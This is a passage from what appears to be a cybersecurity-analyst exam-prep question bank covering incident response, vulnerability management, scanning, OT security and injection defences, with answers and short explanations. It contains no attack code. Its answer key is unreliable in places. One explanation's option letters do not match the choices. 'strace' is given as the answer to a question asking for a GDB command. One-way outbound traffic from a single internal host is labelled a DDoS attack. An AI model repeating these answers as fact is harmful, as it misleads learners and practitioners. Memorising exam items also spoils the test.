C. Recommend network segmentation to the management team as a way to secure the various environments.
D. Isolate the system and begin a forensic investigation to determine what was compromised.
Answer: B
Explanation:
Reporting this activity as a false positive, as the activity is legitimate, is the best way for the security analyst to respond. A false positive is a condition in which harmless traffic is classified as a potential network attack by a security monitoring tool. Ping requests are a common network diagnostic tool that can be used to test network connectivity issues. The technician who responded to potential network connectivity issues was performing a legitimate task and did not pose any threat to the accounting and human resources servers .
Which of the following is a reason why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?
A. To ensure the evidence can be used in a postmortem analysis
B. To prevent the possible loss of a data source for further root cause analysis
C. TO ensure the report is legally acceptable in case it needs to be presented in court
D. To present a lessons-learned analysis for the incident response team
Answer: C
Explanation:
Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting.
The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.
A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment Which of the following must be considered to ensure the consultant does no harm to operations?
A. Employing Nmap Scripting Engine scanning techniques
B. Using passive instead of active vulnerability scans
C. Preserving the state of PLC ladder logic prior to scanning
D. Running scans during off-peak manufacturing hours
Answer: B
Explanation:
In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause.
When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it’s crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.
A security team is concerned about recent Layer 4 DDoS attacks against the company website. Which of the following controls would best mitigate the attacks?
A. Roll out a CDN.
B. Deploy an IPS in the perimeter network.
C. Block the attacks using firewall rules.
D. Implement a load balancer.
Answer: A
Explanation:
Rolling out a CDN is the best control to mitigate the Layer 4 DDoS attacks against the company website. A CDN is a Content Delivery Network, which is a system of distributed servers that deliver web content to users based on their geographic location, the origin of the web page, and the content delivery server. A CDN can help protect against Layer 4 DDoS attacks, which are volumetric attacks that aim to exhaust the network bandwidth or resources of the target website by sending a large amount of traffic, such as SYN floods, UDP floods, or ICMP floods. A CDN can mitigate these attacks by distributing the traffic across multiple servers, caching the web content closer to the users, filtering out malicious or unwanted traffic, and providing scalability and redundancy for the website12. Reference: How to Stop a DDoS Attack: Mitigation Steps for Each OSI Layer, Application layer DDoS attack | Cloudflare
A disgruntled open-source developer has decided to sabotage a code repository with a logic bomb that will act as a wiper. Which of the following parts of the Cyber Kill Chain does this act exhibit?
A. Weaponization
B. Installation
C. Reconnaissance
D. Exploitation
Answer: A
Explanation:
Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon to sabotage the code repository.
During a bug bounty program, a security researcher identifies a potential security weakness in the authentication mechanism of an e-commerce website. The weakness could allow attackers to perform brute-force attacks on user accounts. What is a crucial consideration in the vulnerability response based on this bug bounty finding?
A. Notify all users about the potential security weakness and advise them to update passwords.
B. Disable the affected authentication mechanism until further investigation is completed.
C. Award the researcher with the bounty and implement additional security controls.
D. Conduct a comprehensive review of the website’s source code to identify related vulnerabilities.
D. Conduct a comprehensive review of the website’s source code to identify related vulnerabilities.
During a security audit, a cybersecurity professional identifies that critical web applications are using outdated and unsupported libraries. This poses a risk of exploitation through known vulnerabilities. What is the MOST APPROPRIATE action to mitigate the risks associated with end-of-life or outdated components in this scenario?
A. Implementing a Web Application Firewall (WAF)
B. Conducting regular code reviews and static analysis
C. Configuring strict firewall rules to limit external access
D. Utilizing multi-factor authentication (MFA) for application access
B. Conducting regular code reviews and static analysis
An organization is part of an information sharing organization that regularly exchanges threat intelligence with other member organizations. What is the primary role of threat intelligence in this scenario?
A. Enhancing monitoring to detect and respond to potential threats.
B. Collaborating with other member organizations to share intelligence.
C. Identifying vulnerabilities in the organization’s internal network.
D. Ignoring the shared intelligence as it may not be accurate.
A. Enhancing monitoring to detect and respond to potential threats.
An organization’s user account logs reveal that a group of new accounts has been created on a critical server. These accounts have been assigned access rights that exceed what is typically required for their roles. What does this behavior most likely indicate?
A. Scheduled user account additions
B. Insider threat activity
C. Routine access management
D. Unauthorized access expansion
B. Insider threat activity
A security analyst is reviewing a suspicious email received by an employee. The email contains a link that claims to be a file-sharing service, but the URL looks suspicious. What is the most appropriate action for the analyst to take in this scenario?
A. Click the link to verify its authenticity
B. Block the email to prevent further exposure
C. Share the link with the SOC team for analysis
D. Disable the link and report it to the IT department
D. Disable the link and report it to the IT department
An e-commerce website displays product reviews submitted by users. The reviews often include special characters and emojis. The website is susceptible to script injection attacks due to inadequate output encoding. What is a critical aspect of implementing output encoding for the display of user reviews?
A. Encode only the special characters and emojis in user reviews.
B. Utilize URL encoding for all user-generated content.
C. Implement output encoding at the server level to ensure consistency.
D. Allow free-form display of user reviews without encoding.
C. Implement output encoding at the server level to ensure consistency.
A security analyst is tasked with mitigating a persistent SQL injection vulnerability in a web application. The vulnerability allows an attacker to manipulate the database queries, leading to unauthorized access. Which of the following controls would be MOST EFFECTIVE in preventing persistent SQL injection attacks?
A. Input validation on the client side
B. Regular expression filtering
C. Prepared statements in database queries
D. Web Application Firewall (WAF) configuration
C. Prepared statements in database queries
Prepared statements are a robust defense against persistent SQL injection attacks. They separate SQL code from user input, preventing attackers from manipulating queries. Unlike client-side input validation, which can be bypassed, implementing prepared statements directly addresses the vulnerability at the database interaction level.
During a routine vulnerability scan, a security analyst discovers a critical vulnerability affecting multiple hosts in the organization. The analyst needs to communicate this information to the IT team for remediation. What is the MOST important aspect to include in the communication?
A. The total number of affected hosts.
B. A detailed technical analysis of the vulnerability.
C. The potential business impact on each affected host.
D. The timeline for remediation activities.
C. The potential business impact on each affected host.
A security team discovers a vulnerability in a widely deployed network device that has an associated weaponized exploit available on the dark web. The vulnerability could potentially allow unauthorized access to sensitive network configurations. How should the team prioritize addressing this vulnerability?
A. Prioritize based on the widespread deployment of the network device.
B. Downplay the significance due to the availability of network segmentation and intrusion detection systems.
C. Consult with network administrators and assess the criticality of the network device to organizational operations.
D. Investigate additional factors, such as the prevalence of the exploit in recent cyber attacks, before prioritizing.
C. Consult with network administrators and assess the criticality of the network device to organizational operations.
A cybersecurity analyst is reviewing an organization’s incident response plan. During the preparation phase, what is a critical aspect that the analyst should focus on to enhance the effectiveness of the plan?
A. Identifying potential threats and vulnerabilities in real-time.
B. Conducting regular table-top exercises with key stakeholders.
C. Drafting a comprehensive post-incident report template.
D. Installing the latest antivirus software on all endpoints.
B. Conducting regular table-top exercises with key stakeholders.
In an e-commerce platform, a security analyst discovers a broken access control vulnerability that allows users to access administrative functionalities by manipulating input parameters. What is the MOST EFFECTIVE measure to mitigate this broken access control risk?
A. Implementing encrypted communication channels
B. Conducting regular code reviews and static analysis
C. Utilizing intrusion prevention systems (IPS)
D. Implementing proper session management controls
D. Implementing proper session management controls
To effectively mitigate broken access control risks, implementing proper session management controls is crucial. This ensures that user sessions are securely managed, preventing unauthorized access to administrative functionalities through manipulation of input parameters. Proper session management is an integral part of access control and user authentication mechanisms.
n a financial application, a security team discovers a heap overflow vulnerability that could potentially be exploited to manipulate financial transactions. What is the MOST APPROPRIATE action to mitigate this heap overflow risk?
A. Implementing secure coding practices for developers
B. Configuring proper file permissions on the server
C. Employing runtime protection mechanisms and input validation on the server side
D. Implementing network-based intrusion detection systems (NIDS)
C. Employing runtime protection mechanisms and input validation on the server side
To address heap overflow risks, employing runtime protection mechanisms and input validation on the server side is crucial. These measures can detect and prevent abnormal heap manipulations during runtime, mitigating the risk of unauthorized manipulation of financial transactions through heap overflow exploits.
During an incident response, a security professional discovers a compromised user account that is actively sending phishing emails to other employees. What action should the professional take to isolate the compromised account and prevent further damage?
A. Change the user account’s password to disrupt unauthorized access
B. Disable the user account in the organization’s identity management system
C. Redirect the user account’s emails to a quarantine folder for analysis
D. Disconnect the affected user’s device from the network
B. Disable the user account in the organization’s identity management system
A cybersecurity team is examining data to identify vulnerabilities in a web application. The team notices anomalous patterns in user input, indicating a potential injection attack. To effectively prioritize this vulnerability, what factor should the team primarily consider?
A. Web application’s popularity and user base
B. Complexity of the web application’s codebase
C. Frequency and intensity of anomalous user input
D. Number of known vulnerabilities in the web server
C. Frequency and intensity of anomalous user input
A social media platform allows users to customize their profiles with various content, including text, images, and videos. The platform currently lacks proper output encoding, exposing users to the risk of malicious content injection. What is a key consideration in implementing output encoding for user-generated content?
A. Use base64 encoding to obfuscate user-generated content.
B. Apply output encoding only to user-submitted text fields.
C. Implement a robust input validation mechanism for user-generated content.
D. Encode user-generated content according to the context of its use.
D. Encode user-generated content according to the context of its use.
A key consideration is to encode user-generated content according to the context of its use. Output encoding is not a one-size-fits-all solution; it should be applied based on the specific context in which the content is displayed. Different contexts, such as HTML, JavaScript, or URL attributes, require different encoding techniques. By encoding user-generated content appropriately, the social media platform can prevent various injection attacks and maintain a secure user experience.
An organization is subject to strict regulatory requirements related to data protection, and the security team is tasked with ensuring compliance through effective vulnerability management. The Chief Information Officer (CIO) emphasizes the importance of aligning vulnerability management with organizational governance. What should be the team’s PRIMARY consideration when integrating vulnerability management into the framework of organizational governance?
A. Conducting regular vulnerability scans to identify potential risks.
B. Mapping vulnerabilities to specific regulatory requirements for reporting.
C. Implementing compensating controls to address identified vulnerabilities.
D. Reviewing and updating the organization’s governance policies to include vulnerability management.
B. Mapping vulnerabilities to specific regulatory requirements for reporting.
When integrating vulnerability management into the framework of organizational governance, the primary consideration should be mapping vulnerabilities to specific regulatory requirements for reporting. This ensures that vulnerability management activities align with the organization’s governance structure and regulatory obligations. While regular scans, compensating controls, and policy review are important, mapping vulnerabilities to regulatory requirements directly supports compliance within the governance framework.
In a GDB analysis, a security professional identifies a process with suspicious behavior and wants to investigate its system calls. What GDB command should the analyst use to trace and monitor the system calls made by the process?
A. run
B. watch
C. syscall
D. strace
D. strace
The strace command is used outside GDB to trace system calls made by a process. By running strace with the process ID (PID), the analyst can monitor the system calls, helping to identify potentially malicious or unexpected activity and aiding in the investigation of the process’s behavior.
During a routine edge discovery process, the security team identifies an unsecured IoT (Internet of Things) device connected to the corporate network. The device is part of a smart building system and controls access to secure areas. What is a crucial aspect of the vulnerability response in this scenario?
A. Isolate the IoT device from the corporate network to prevent potential attacks.
B. Conduct a comprehensive risk assessment to determine the impact of the vulnerability.
C. Inform the building management team about the discovery and request remediation.
D. Immediately apply patches to secure the IoT device and mitigate potential risks.
C. Inform the building management team about the discovery and request remediation.
A crucial aspect is to inform the building management team about the discovery and request remediation. In the context of edge discovery, when an unsecured IoT device is identified, involving the relevant teams responsible for the device is essential. The building management team, in this case, should be informed to ensure a coordinated effort in addressing the vulnerability and implementing necessary security measures.
In a large financial institution, the security team is considering automating the monitoring of network traffic to detect anomalous patterns. What aspect of security operations is primarily improved by automating this task?
A. Incident response time
B. User awareness training
C. Threat hunting
D. Early threat detection
D. Early threat detection
A cybersecurity analyst is tasked with conducting a vulnerability scan on a company’s web server. They want to ensure that the scan does not trigger any intrusion detection alerts. Which scanning technique should they use to achieve this?
A. Stealth scan
B. Banner grabbing
C. Authenticated scan
D. XMAS scan
A. Stealth scan
A stealth scan is designed to avoid triggering intrusion detection systems by sending packets that do not complete a full three-way handshake. This technique is less likely to be detected while still providing valuable vulnerability information.
An organization identifies a vulnerability in its network infrastructure that could potentially be exploited by an insider threat. The security team decides to mitigate the risk by implementing stricter access controls and conducting regular user behavior analytics. What is a key consideration in this mitigation strategy?
A. Inform all users about the new access controls to manage expectations.
B. Regularly update the network infrastructure to eliminate the vulnerability.
C. Monitor and analyze user behavior to detect anomalous activities.
D. Document the decision to mitigate and communicate it to relevant stakeholders.
C. Monitor and analyze user behavior to detect anomalous activities.
A key consideration is to monitor and analyze user behavior to detect anomalous activities. Mitigating the risk through stricter access controls and user behavior analytics involves ongoing monitoring. Identifying and responding to anomalous activities is essential for the effectiveness of the mitigation strategy and helps in early detection of potential insider threats.
An organization has recently implemented a new access control policy to enhance data security. However, employees report difficulties accessing necessary files and applications, affecting productivity. What is a recommended approach for the organization to address this issue without compromising security?
A. Roll back the access control policy to the previous state.
B. Provide additional training to employees on the new access control procedures.
C. Implement a temporary workaround until employees are accustomed to the new policy.
D. Disable access controls for critical files and applications to restore productivity.
C. Implement a temporary workaround until employees are accustomed to the new policy.
A system administrator is responsible for conducting regular vulnerability scans on a network of diverse systems, including servers, workstations, and IoT devices. They want to perform scans that do not require authentication and are less intrusive. What scanning method should they choose to minimize disruption to the network?
A. Non-credentialed scanning
B. Credentialed scanning
C. Real-time scanning
D. Passive scanning
A. Non-credentialed scanning
Non-credentialed scanning does not require authentication and is less intrusive, making it suitable for conducting scans that do not disrupt the network and do not require access to the target systems.
A security analyst is investigating network traffic for potential security threats using Wireshark. They notice a series of suspicious packets originating from an internal IP address to an external IP address. These packets contain unusual patterns and have a high data transfer rate. What type of attack is the analyst likely witnessing?
A. ARP spoofing attack
B. DDoS attack
C. SQL injection attack
D. Port scanning attack
B. DDoS attack
In this scenario, the security analyst is likely observing a Distributed Denial of Service (DDoS) attack. DDoS attacks involve a high volume of traffic sent from multiple sources to overwhelm a target system or network, causing a denial of service.
An organization experiences a data breach resulting from a compromised user account with elevated privileges. The incident response team successfully identifies and isolates the affected systems. What is a critical step in the corrective process to prevent similar incidents?
A. Revoke all elevated privileges across the organization to limit the risk.
B. Implement multi-factor authentication (MFA) for all user accounts.
C. Conduct a comprehensive review of user access controls and permissions.
D. Disable the compromised user account without further investigation.
C. Conduct a comprehensive review of user access controls and permissions.
During network monitoring, a cybersecurity analyst observes that a workstation’s local hard drive is filling up quickly, and there is no legitimate reason for such a large amount of data to be stored locally. The data is unencrypted and appears to be generated by an unknown process. What type of malicious activity is most likely taking place?
A. Routine data storage
B. Expected data accumulation
C. Data injection
D. Unauthorized data storage or data dumping
D. Unauthorized data storage or data dumping
A Chief Information Security Officer (CISO) is preparing a report for the executive leadership team on the progress of the vulnerability management program, specifically addressing vulnerabilities from the “Top 10” list. What should be the CISO’s PRIMARY emphasis in the report to demonstrate the program’s effectiveness?
A. Highlighting the speed at which vulnerabilities are remediated.
B. Showcasing the collaboration with external security experts.
C. Illustrating the alignment of remediation efforts with business priorities.
D. Communicating the reduction in the organization’s overall risk profile.
D. Communicating the reduction in the organization’s overall risk profile.
A security analyst is investigating a suspected data breach and needs to analyze logs to identify the source of unauthorized access. Which log entry would be most indicative of a potential compromise?
A. Numerous failed login attempts from a legitimate user account
B. Unusual spikes in network traffic during non-business hours
C. Regular access patterns from an employee’s workstation
D. System logs indicating routine software updates
A. Numerous failed login attempts from a legitimate user account
A manufacturing company relies on a legacy control system for its production line. The security team discovers a vulnerability in the legacy system that could lead to unauthorized access and manipulation of production parameters. What should be the team’s FIRST step in responding to this vulnerability to minimize the risk of compromise in the production line?
A. Notifying production managers about the identified vulnerability.
B. Isolating the legacy control system from the production network.
C. Conducting a penetration test to assess the extent of the vulnerability.
D. Referring to the organization’s vulnerability management plan for guidance.
B. Isolating the legacy control system from the production network.
A security team is analyzing email logs and detects an email with a sender domain that does not have an SPF record. The email claims to be from a trusted partner and requests sensitive information. What action should the team take in response to this email?
A. Inform the recipient; No action required
B. Block the email; Investigate further
C. Quarantine the email; Verify the sender’s authenticity
D. Allow the email; Add the sender’s domain to the SPF record
B. Block the email; Investigate further
A financial institution has recently detected suspicious transactions related to an organized crime group involved in cybercrime. The security team has acquired threat intelligence indicating the group’s tactics and infrastructure. What is the primary role of threat intelligence in this scenario?
A. Prosecuting the organized crime group.
B. Identifying and mitigating vulnerabilities.
C. Enhancing monitoring to detect similar activities.
D. Blocking the group’s IP addresses.
C. Enhancing monitoring to detect similar activities.
In the aftermath of a ransomware attack, the incident response team is tasked with creating a detailed report that addresses the “who, what, when, where, and why.” What aspect should the team prioritize when explaining the “why” of the incident?
A. Identifying the specific vulnerabilities that led to the ransomware infection.
B. Describing the motivations and objectives of the threat actors behind the attack.
C. Specifying the exact time and date of each stage of the attack.
D. Providing a technical breakdown of the encryption algorithms used in the ransomware.
B. Describing the motivations and objectives of the threat actors behind the attack.
When explaining the “why” of a ransomware attack, the team should prioritize describing the motivations and objectives of the threat actors behind the attack. Understanding the attackers’ motives is essential for implementing targeted preventive measures and improving overall cybersecurity.
In the aftermath of a data breach, the incident response team is tasked with communicating with affected customers. What is the primary consideration when crafting communication to minimize reputational damage?
A. Providing vague information to avoid alarming customers unnecessarily.
B. Delaying communication until a comprehensive incident report is finalized.
C. Transparency, providing clear and timely information about the incident and actions taken.
D. Downplaying the severity of the breach to maintain a positive public image.
C. Transparency, providing clear and timely information about the incident and actions taken.
A company experiences a data breach due to employees inadvertently clicking on malicious links in phishing emails. The security team decides to conduct targeted awareness training to address this specific issue. What should the team prioritize when designing the training content?
A. Providing detailed technical information about the latest phishing techniques.
B. Highlighting the potential consequences of a data breach on both the company and individuals.
C. Incorporating gamified elements to make the training more engaging.
D. Offering step-by-step instructions on how to report suspicious emails to the IT helpdesk.
B. Highlighting the potential consequences of a data breach on both the company and individuals.
A security analyst discovers that a previously patched vulnerability has reappeared in the organization’s vulnerability scan results. The analyst is concerned about the recurrence and needs to determine the appropriate course of action. What is the FIRST step the analyst should take in response to the recurring vulnerability?
A. Initiating an immediate investigation into the cause of the recurrence.
B. Notifying the IT team to reapply the patch to affected systems.
C. Reviewing the organization’s change management process.
D. Communicating the recurrence to senior management for guidance.
A. Initiating an immediate investigation into the cause of the recurrence.
